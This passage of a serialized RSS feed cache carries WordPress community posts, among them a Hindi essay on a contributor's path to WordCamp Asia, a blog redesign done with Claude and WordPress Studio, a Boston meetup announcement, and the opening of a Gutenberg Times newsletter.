मुझे एहसास हुआ कि यह बहुत पावरफुल प्लेटफार्म है।</p>\n\n\n\n<p>कम कोड के साथ, हम तेज़, बेहतर और स्मार्ट वेबसाइट बना सकते हैं। <img alt="⚡" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a1.png" style="height: 1em;" /> </p>\n\n\n\n<p>2015 में, मैंने पूरी तरह से वर्डप्रेस पर फोकस करने का फैसला किया। और उस फैसले ने मेरी ज़िंदगी बदल दी।</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /> स्वतंत्रता का विकल्प</strong></h2>\n\n\n\n<p>2018 में, मैंने एक और बड़ा कदम उठाया &#8211; मैंने अपनी नौकरी छोड़ दी।</p>\n\n\n\n<p>मैंने वर्डप्रेस डेवलपर के तौर पर रिमोटली काम करना शुरू कर दिया। <img alt="💼" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bc.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /> </p>\n\n\n\n<p>यह रिस्की था… लेकिन इसने मुझे आज़ादी दी। <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /></p>\n\n\n\n<p>ग्लोबल लेवल पर काम करने की आज़ादी। </p>\n\n\n\n<p>ग्रो करने की आज़ादी।</p>\n\n\n\n<p>बड़े सपने देखने की आज़ादी।</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🤝" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f91d.png" style="height: 1em;" /> कंट्रीब्यूटर बनना</strong></h2>\n\n\n\n<p>मैंने वर्डप्रेस रिपॉजिटरी में दो प्लगइन्स बनाए:<br /><img alt="🔌" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" style="height: 1em;" /> Contact Information Widget<br /><img alt="🔌" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" style="height: 1em;" /> Shital Quiz Cloner for LearnDash</p>\n\n\n\n<p>लोगों को मेरे काम का इस्तेमाल करते देखना बहुत अच्छा लगा। <img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /></p>\n\n\n\n<p>मैंने कोर, मेटा, पॉलीग्लॉट्स में योगदान देना शुरू कर दिया।</p>\n\n\n\n<p>मैं WordPress Core और Meta Contributor बन गई <img alt="💙" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f499.png" style="height: 1em;" /></p>\n\n\n\n<p>मैंने कई WordPress पब्लिकेशन में योगदान दिया है <img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /></p>\n\n\n\n<p>जिसमें शामिल हैं:</p>\n\n\n\n<p>4.9 “Tipton”, 4.9.5 સુરક્ષા અને જાળવણી પ્રકાશન, 5.0 “Bebo”, 5.1 “Betty”, 5.2 “Jaco”, 5.3 “Kirk”, 5.4 “Adderley”, 5.5 “Eckstine”, 5.6 “Simone”, 5.7 “Esperanza”, 5.8 “Tatum”, 5.9 “Josephine”, 6.0 “Arturo”, અને 6.6 “Dorsey” <img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" />.</p>\n\n\n\n<p>मुझे WordPress 5.6 रिलीज़ प्लानिंग के लिए महिला टीम का हिस्सा बनकर भी सम्मानित महसूस हुआ। <img alt="😍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60d.png" style="height: 1em;" /><img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /><img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /><img alt="👍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f44d.png" style="height: 1em;" /><img alt="👩‍💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f469-200d-1f4bb.png" style="height: 1em;" /></p>\n\n\n\n<p>डिजाइन, टेक और लीड में अपना नाम &#8220;शीतल मारकना&#8221; देखना एक यादगार पल था।<img alt="💖" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f496.png" style="height: 1em;" /></p>\n\n\n\n<p>और मुझे WordPress 5.6 रिलीज़ प्लानिंग के लिए विमेंस स्क्वाड में चुने जाने पर गर्व हुआ। <img alt="😍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60d.png" style="height: 1em;" /><img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /><img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /><img alt="👩‍💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f469-200d-1f4bb.png" style="height: 1em;" /></p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🎤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3a4.png" style="height: 1em;" /> भारत में वर्डकैंप के अनुभव</strong></h2>\n\n\n\n<p>मुंबई में मेरा पहला WordCamp था, वो मेरा एक शानदार अनुभव था। <img alt="🎉" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f389.png" style="height: 1em;" /></p>\n\n\n\n<p>मुझे एहसास हुआ —<br />WordPress सिर्फ़ कोड के बारे में नहीं है…</p>\n\n\n\n<p>यह लोगों के बारे में है। <img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /></p>\n\n\n\n<p>मैंने मुंबई, नागपुर और अहमदाबाद में WordCamps में हिस्सा लिया।</p>\n\n\n\n<p>हर एक ने मुझे आगे बढ़ने में मदद की।</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="✈" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2708.png" style="height: 1em;" /> वर्डकैंप एशिया का सपना</strong></h2>\n\n\n\n<p>वर्डकैंप एशिया मेरा सपना था। <img alt="🌏" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30f.png" style="height: 1em;" /></p>\n\n\n\n<p>लेकिन फाइनेंशियली यह मुश्किल था।</p>\n\n\n\n<p>तो मैंने लाइव स्ट्रीम देखी। <img alt="📺" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4fa.png" style="height: 1em;" /></p>\n\n\n\n<p>मैंने ऑनलाइन सीखा। <img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" /></p>\n\n\n\n<p>प्रेरित रहें। <img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></p>\n\n\n\n<p>और मैंने इंतज़ार किया&#8230;</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🌟" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" style="height: 1em;" />सपने सच हों</strong></h2>\n\n\n\n<p> आखिरकार सपना सच हो गया। <img alt="🎉" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f389.png" style="height: 1em;" /></p>\n\n\n\n<p>मुझे वर्डकैंप एशिया में वॉलंटियर के तौर पर चुना गया।<img alt="🙌" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f64c.png" style="height: 1em;" /></p>\n\n\n\n<p>और मुझे झील ठक्कर स्कॉलरशिप भी मिली। <img alt="🏆" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3c6.png" style="height: 1em;" /><br /></p>\n\n\n\n<p>सबसे खास बात?</p>\n\n\n\n<p>मैं अपने परिवार के साथ गई थी। <img alt="👨‍👩‍👦" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f468-200d-1f469-200d-1f466.png" style="height: 1em;" /><img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /></p>\n\n\n\n<p>मेरे पति ने मेरा साथ दिया।</p>\n\n\n\n<p>मेरे 4 साल के बेटे, मंत्र ने हर पल का आनंद लिया। <img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /></p>\n\n\n\n<p><br />यह सिर्फ़ मेरी यात्रा नहीं थी &#8211; यह हमारी यात्रा बन गई।</p>\n\n\n\n<figure class="wp-block-image size-large"><a href="https://heropress.com/wp-content/uploads/3026/04/73052.jpg"><img alt="All WCAsia attendees in the auditorium" class="wp-image-8599" height="536" src="https://heropress.com/wp-content/uploads/3026/04/73052-1024x536.jpg" width="1024" /></a></figure>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🤝" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f91d.png" style="height: 1em;" /> वर्डकैंप एशिया में वॉलंटियरिंग</strong></h2>\n\n\n\n<p>वॉलंटियरिंग मेरे जीवन के सबसे सार्थक अनुभवों में से एक था। <img alt="💙" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f499.png" style="height: 1em;" /></p>\n\n\n\n<p>मैंने दुनिया भर के लोगों के साथ काम किया।</p>\n\n\n\n<p>आखिरकार, मुझे अपना वॉलंटियर सर्टिफिकेट मिल गया। <img alt="📜" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dc.png" style="height: 1em;" /></p>\n\n\n\n<p>यह सिर्फ एक सर्टिफिकेट नहीं था &#8211; यह मेरी यात्रा की पहचान थी।</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="💡" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" style="height: 1em;" /> वर्डकैंप एशिया ने मुझे क्या दिया?</strong></h2>\n\n\n\n<p>क्या इससे मुझे फाइनेंशियल फ्रीडम मिली?<br />अभी नहीं.</p>\n\n\n\n<p>क्या उसने मुझे कम्युनिटी दी?</p>\n\n\n\n<p>हाँ। <img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /></p>\n\n\n\n<p>क्या इससे मुझे ग्लोबल लेवल पर पहचान मिली?</p>\n\n\n\n<p>बिल्कुल। <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /></p>\n\n\n\n<p>लेकिन सबसे महत्वपूर्ण बात यह है कि—</p>\n\n\n\n<p><strong> दिशा दी।</strong></p>\n\n\n\n<figure class="wp-block-image size-full"><a href="https://heropress.com/wp-content/uploads/2026/04/wcasia.webp"><img alt="WCAsia group photo" class="wp-image-8582" height="600" src="https://heropress.com/wp-content/uploads/2026/04/wcasia.webp" width="900" /></a></figure>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /> निष्कर्ष</strong></h2>\n\n\n\n<p>जब मैं अपने सफ़र को पीछे मुड़कर देखती हूँ, तो यह हिम्मत, विश्वास और तरक्की की कहानी लगती है।  <img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></p>\n\n\n\n<p>WordPress एक जिज्ञासा से शुरू हुआ था…</p>\n\n\n\n<p>लेकिन यह मेरी पहचान बन गया।</p>\n\n\n\n<p>एक छोटे से गाँव से ग्लोबल स्टेज तक <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /></p>\n\n\n\n<p>इस सफ़र ने मुझे बदल दिया।</p>\n\n\n\n<p>शक था।</p>\n\n\n\n<p>डर था।</p>\n\n\n\n<p>लेकिन मैं रुकी नहीं। <img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /></p>\n\n\n\n<p>WordCamp Asia मेरी ज़िंदगी का टर्निंग पॉइंट था।</p>\n\n\n\n<p>इसने मुझे सिर्फ़ रिज़ल्ट ही नहीं दिए—</p>\n\n\n\n<p>इसने मुझे दिशा दी।</p>\n\n\n\n<p>इसने मुझे सिर्फ़ सफलता ही नहीं दी—</p>\n\n\n\n<p>इसने मुझे संभावना दी।</p>\n\n\n\n<p>इसने सिर्फ़ मेरा आज ही नहीं बदला—</p>\n\n\n\n<p>इसने मेरे भविष्य को बनाया।</p>\n\n\n\n<p>WordPress ने मुझे कॉन्फिडेंस दिया। इसने मुझे एक आवाज़ दी। इसने मुझे एक कम्युनिटी दी।  <img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /></p>\n\n\n\n<p>और आज मैं जानती हूँ—</p>\n\n\n\n<p><strong>यह सिर्फ मेरा काम नहीं है—</strong><strong><br /></strong><strong>यह वह है जो मैं बन चुकी हूँ,</strong><strong><br /></strong><strong>और जो मैं अभी बन रही हूँ।</strong> <img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></p>\n<p>The post <a href="https://heropress.com/essays/from-a-small-village-to-wordcamp-asia-my-wordpress-journey/">😊 From a Small Village to WordCamp Asia: My WordPress Journey 🌍✨</a> appeared first on <a href="https://heropress.com">HeroPress</a>.</p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 22 Apr 2026 12:00:34 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:15:"Shital Marakana";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:33;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:64:"Open Channels FM: Scaling WooCommerce Operations with Automation";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2553059";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"https://openchannels.fm/scaling-woocommerce-operations-with-automation/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:232:"In this episode, co-hosts discuss WooCommerce automation with expert James Collins, emphasizing how tools like Zapier streamline tasks, reduce errors, and enhance efficiency through practical automation examples and AI advancements.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 22 Apr 2026 11:27:37 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:34;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:62:"Carlos Bravo: Redesigned my blog in a day with Claude + Studio";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:0:"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:83:"https://carlosbravo.blog/2026/04/22/redesigned-my-blog-in-a-day-with-claude-studio/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1632:"<p class="wp-block-paragraph">I&#8217;ve just redone my personal website in a day. My tools:</p>\n\n\n\n<ul class="wp-block-list">\n<li>Claude desktop. Opus 4.7 on High.</li>\n\n\n\n<li><a href="https://github.com/juliusbrussee/caveman">Caveman</a> plugin for token simplification.</li>\n\n\n\n<li><a href="https://code.claude.com/docs/en/agent-teams">Agents orchestration.</a> One for design. One for copy. One for development.</li>\n\n\n\n<li><a href="https://developer.wordpress.com/studio/">WordPress Studio</a> as the local environment.</li>\n\n\n\n<li><a href="https://wordpress.com/">WordPress.com</a> as the hosting.</li>\n</ul>\n\n\n\n<p class="wp-block-paragraph">Studio&#8217;s sync has been delightful, but still there is a need for &#8220;only site editing related sync&#8221; option, as you may lose some content if you mess with pull-push ( writing a post on production, not pulling, and then pushing a change you did with the site editor with local ( via database). I may open a PR.<br /><br />So, to start the &#8220;redesign&#8221;, I opened the Studio app, clicked on add site and pulled this existing site.</p>\n\n\n\n<p class="wp-block-paragraph">Once that was done, I shared the site folder with Claude desktop and wrote my specs as user stories. Told it about myself, shared my LinkedIn profile, social media and, most important, my public work on GitHub (closed PRs in Gutenberg, wordpress-develop, and SCF).</p>\n\n\n\n<p class="wp-block-paragraph">A bit of testing, some copy changes, small fixes, and then Sync → Push.</p>\n\n\n\n<p class="wp-block-paragraph">Et voilà. Site done. Could be better, still good enough for a personal blog.</p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 22 Apr 2026 11:03:44 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:12:"Carlos Bravo";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:35;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:99:"Open Channels FM: BackTalk on 8,000 Open Tabs, Streaming Pennies, and the Force Multiplier of Trust";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2553771";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:103:"https://openchannels.fm/backtalk-on-8000-open-tabs-streaming-pennies-and-the-force-multiplier-of-trust/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:248:"OpenChannels FM captures insightful discussions emphasizing learning culture, innovative funding models, and the importance of true partnerships. Guests share experiences on managing digital clutter and fostering trust for effective collaborations.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 22 Apr 2026 09:53:15 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:36;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:105:"Jonathan Desrosiers: Reblog of Boston WordPress: April 2026 Meetup: Ethan Marcotte &amp;amp; Mary Hubbard";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:39:"https://jonathandesrosiers.com/?p=11191";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:112:"https://jonathandesrosiers.com/2026/04/reblog-of-boston-wordpress-april-2026-meetup-ethan-marcotte-mary-hubbard/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5084:"<p class="friends-reblog wp-block-paragraph">Reblog via <a href="https://bostonwp.org/2026/04/april-2026-meetup-ethan-marcotte-mary-hubbard/">Jonathan Desrosiers</a>\n</p>\n\n\n\n<blockquote class="friends-reblog wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">\n<p class="wp-block-paragraph">WordPress is software with limitless potential and a mission to make publishing accessible to the whole world. Boston is a city with prolific, world-renowned universities, vibrant tech communities, and an incredible spirit.  One of the reasons why I help organize this meetup is because I have seen first-hand the opportunities it creates for attendees when these groups come together.</p>\n\n\n\n<p class="wp-block-paragraph">While I look forward to our meetups each and every month, our speaker lineup for April has me even more excited than usual. If you’ve been meaning to attend a WordPress Boston meetup event and just haven’t gotten around to it, this is the month you should finally make it happen.</p>\n\n\n\n<h2 class="wp-block-heading" id="h-event-details">Event Details</h2>\n\n\n\n<p class="wp-block-paragraph"><strong>Date:</strong> April 27, 2026<br /><strong>Time:</strong> 6:30PM-9:00PM<br /><strong>Location:</strong><br />Microsoft New England Research and Development (NERD) Center<br />1 Memorial Drive<br />Cambridge, MA 02142<br /><br /><strong>You must RSVP to attend.</strong></p>\n\n\n\n<p class="wp-block-paragraph">More details and the RSVP form can be <a href="https://www.meetup.com/boston-wordpress-meetup/events/311745822/">found on the meetup.com event page</a>.</p>\n\n\n\n<h2 class="wp-block-heading" id="h-a-local-pioneer">A Local Pioneer</h2>\n\n\n\n<p class="wp-block-paragraph">I checked my email one day last September to find a new post from <a href="https://ethanmarcotte.com/wrote/">Ethan Marcotte’s journal</a>. He wrote about how he was looking for his next endeavor having just finished a project with the <a href="https://www.boston.gov/">City of Boston</a> where he helped the <a href="https://www.boston.gov/departments/boston-digital-service">Digital Services team</a> define a new design system. I realized I had forgotten that he was based in Boston.</p>\n\n\n\n<p class="wp-block-paragraph">Anyone and everyone is welcome to speak at our meetups so long as the topic is useful in some way to those who use or build with WordPress (<a href="https://bostonwp.org/speak-at-a-meetup/">submit a talk proposal</a> if you think that’s you)! While we occasionally have speakers from out of town when logistics line up right, it’s very important to me that the meetup is a platform for celebrating and showcasing the amazing talents from the greater Boston area. The organizing team regularly performs outreach to individuals who we feel can offer valuable insight to the attendees of our meetup. I’m someone who tends to aim high. The worst case scenario: you don’t receive an answer or they politely decline.</p>\n\n\n\n<p class="wp-block-paragraph">I reached out through his website’s contact form and I’m glad I did! After a bit of coordination and planning, we landed on April’s meetup for him to give his talk <em>The design systems between us</em>.</p>\n\n\n\n<p class="wp-block-paragraph">In case you’re unfamiliar with Ethan, here’s a bit more about him.</p>\n\n\n\n<h2 class="wp-block-heading" id="h-wordpress-7-0-and-beyond">WordPress 7.0 and Beyond</h2>\n\n\n\n<p class="wp-block-paragraph">While featuring local talent is important to the organizing team, another factor that we’re always trying to balance in our programming is bringing in leaders from outside of the Bay State. Again aiming high, I reached out to Mary Hubbard about having her speak at our meetup. As the Executive Director of the WordPress Project, there’s few people in a better position to present about where WordPress is going and the impact it will have on creators and local businesses.</p>\n\n\n\n<p class="wp-block-paragraph">After some back and forth, April also ended up as the best month to fit our meetup into her busy schedule. Meetups are a critical part of the overall WordPress equation and one of the reasons why it has grown to the Open Source giant it is today. We’re grateful for her willingness to attend our meetup to engage with our community by talking about what the 7.0 release mans for the project, and how community events like our meetup can play a role in the next 20 years of WordPress.</p>\n</blockquote>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<p class="wp-block-paragraph"><em>The post <a href="https://bostonwp.org/2026/04/april-2026-meetup-ethan-marcotte-mary-hubbard/">April 2026 Meetup: Ethan Marcotte &amp; Mary Hubbard</a> appeared first on <a href="https://bostonwp.org">Boston WordPress</a>.</em></p>\n<p>The post <a href="https://jonathandesrosiers.com/2026/04/reblog-of-boston-wordpress-april-2026-meetup-ethan-marcotte-mary-hubbard/">Reblog of Boston WordPress: April 2026 Meetup: Ethan Marcotte &amp; Mary Hubbard</a> appeared first on <a href="https://jonathandesrosiers.com">Jonathan Desrosiers</a>.</p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 20 Apr 2026 19:45:01 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:19:"Jonathan Desrosiers";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:37;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:102:"Gutenberg Times: WordCamp Asia, Block Themes, AI in WordPress, WooCommerce 10.7– Weekend Edition 363";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:35:"https://gutenbergtimes.com/?p=45074";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:107:"https://gutenbergtimes.com/wordcamp-asia-block-themes-ai-in-wordpress-woocommerce-10-7-weekend-edition-363/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:27799:"<p class="wp-block-paragraph">Hi there, </p>\n\n\n\n<p class="wp-block-paragraph">I am just back from my fourth WordCamp Asia and it was again fantastic! I also enjoyed Mumbai as a city to visit. The energy in the streets, the kindness of the people, the historic sites of many cultures and the deliciousness of the food. It was all an adventure! </p>\n\n\n\n<p 